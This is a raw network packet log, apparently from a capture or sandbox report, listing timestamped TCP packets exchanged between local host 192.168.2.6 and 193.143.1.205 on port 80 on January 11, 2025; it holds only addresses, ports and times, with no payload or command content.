Jan 11, 2025 03:59:29.320784092 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.320858002 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.338572979 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349026918 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349087000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349123001 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349148035 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349173069 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349206924 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349215984 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349244118 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349280119 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349281073 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349313974 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349347115 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349350929 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349433899 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349467993 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349471092 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349503994 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349540949 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349584103 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349617958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349653006 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349654913 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.349689007 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349723101 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.349725008 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.358705044 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377355099 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377434969 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377473116 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377471924 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377510071 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377521038 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377566099 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377602100 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377610922 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377634048 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377667904 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377676964 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377701044 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377737999 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377748013 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377793074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377830029 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377835035 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377865076 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377904892 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.377912998 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377948999 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377985954 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.377991915 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378086090 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378187895 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378191948 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378242016 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378276110 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378307104 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378310919 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378345966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378353119 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378494978 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378529072 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378540993 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378563881 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378601074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378609896 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378637075 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378674030 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378680944 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378881931 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378916979 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378927946 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.378952026 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378984928 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.378994942 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379019976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379060984 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379072905 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379283905 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379347086 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379350901 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379385948 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379419088 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379427910 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379453897 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379487991 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379498005 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379523039 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379558086 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379566908 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.379594088 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379627943 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.379637957 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380074978 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380110979 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380124092 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380146027 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380179882 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380198002 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380234957 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380270958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380278111 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380302906 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380343914 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380357981 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380378962 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380414963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380425930 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380449057 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380485058 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380491972 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380518913 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380553007 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380563021 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380587101 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380623102 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380635977 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380656004 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380688906 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380697012 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.380724907 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.380767107 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.381187916 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381225109 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381259918 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381269932 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.381294966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381329060 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381336927 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.381364107 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381398916 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381407976 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.381436110 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.381478071 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.382853031 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.382888079 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.382922888 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.382937908 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.382960081 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.382989883 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383004904 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383058071 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383091927 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383104086 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383127928 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383172035 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383212090 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383264065 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383299112 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383307934 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383348942 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383383989 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383392096 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383419991 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383455038 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383462906 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383549929 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383584023 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383591890 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383618116 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383658886 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.383706093 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383758068 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.383800983 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.384618998 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384673119 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384708881 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384721041 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.384749889 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384784937 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384793997 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.384896994 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384931087 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.384942055 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.384963036 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.385004997 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441240072 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441323042 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441355944 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441391945 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441411018 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441447973 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441453934 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441483021 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441531897 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441539049 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441571951 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441606998 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441616058 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441643000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441678047 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441683054 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441713095 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441762924 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441766024 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441798925 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441833973 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441842079 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.441869020 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.441911936 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.442033052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442064047 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442095995 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442106009 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.442133904 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442177057 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.442260027 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442292929 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442327976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442339897 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.442363024 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.442408085 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.469675064 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469733000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469770908 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469799042 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.469858885 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469892979 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469907999 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.469928026 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.469971895 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.469995022 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470160007 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470194101 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470204115 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470228910 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470263958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470268965 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470299006 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470340967 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470410109 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470444918 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470479965 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470488071 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470612049 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470644951 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470654011 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470696926 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470732927 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470740080 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470767975 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470799923 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470807076 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470835924 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470869064 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470876932 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470905066 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470937967 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.470966101 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.470973969 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471015930 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471349955 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471385002 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471420050 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471427917 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471473932 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471509933 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471515894 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471543074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471577883 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471606016 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471612930 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471647978 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471652031 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471683025 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471716881 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471726894 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471752882 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471787930 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471796036 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.471821070 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471857071 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.471862078 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472243071 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472274065 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472286940 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472326994 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472362995 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472372055 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472398043 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472431898 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472459078 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472465992 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472501040 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472503901 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472552061 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472589970 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472595930 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472908020 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472940922 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.472950935 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.472979069 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473014116 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473021984 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473050117 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473083973 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473090887 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473119020 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473153114 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473159075 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473187923 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473222017 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473229885 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473256111 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473290920 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473295927 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473325014 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473357916 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473364115 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473757029 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473789930 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473808050 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473861933 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473896980 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473897934 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473931074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473963976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.473969936 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.473998070 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474033117 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474040031 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474067926 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474102020 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474107981 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474138021 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474173069 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474179983 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474206924 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474240065 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474270105 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474272966 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474303961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474308968 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474647045 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474684000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474689007 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.474724054 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.474766016 CET	49713	80	192.168.2.6	193.143.1.205
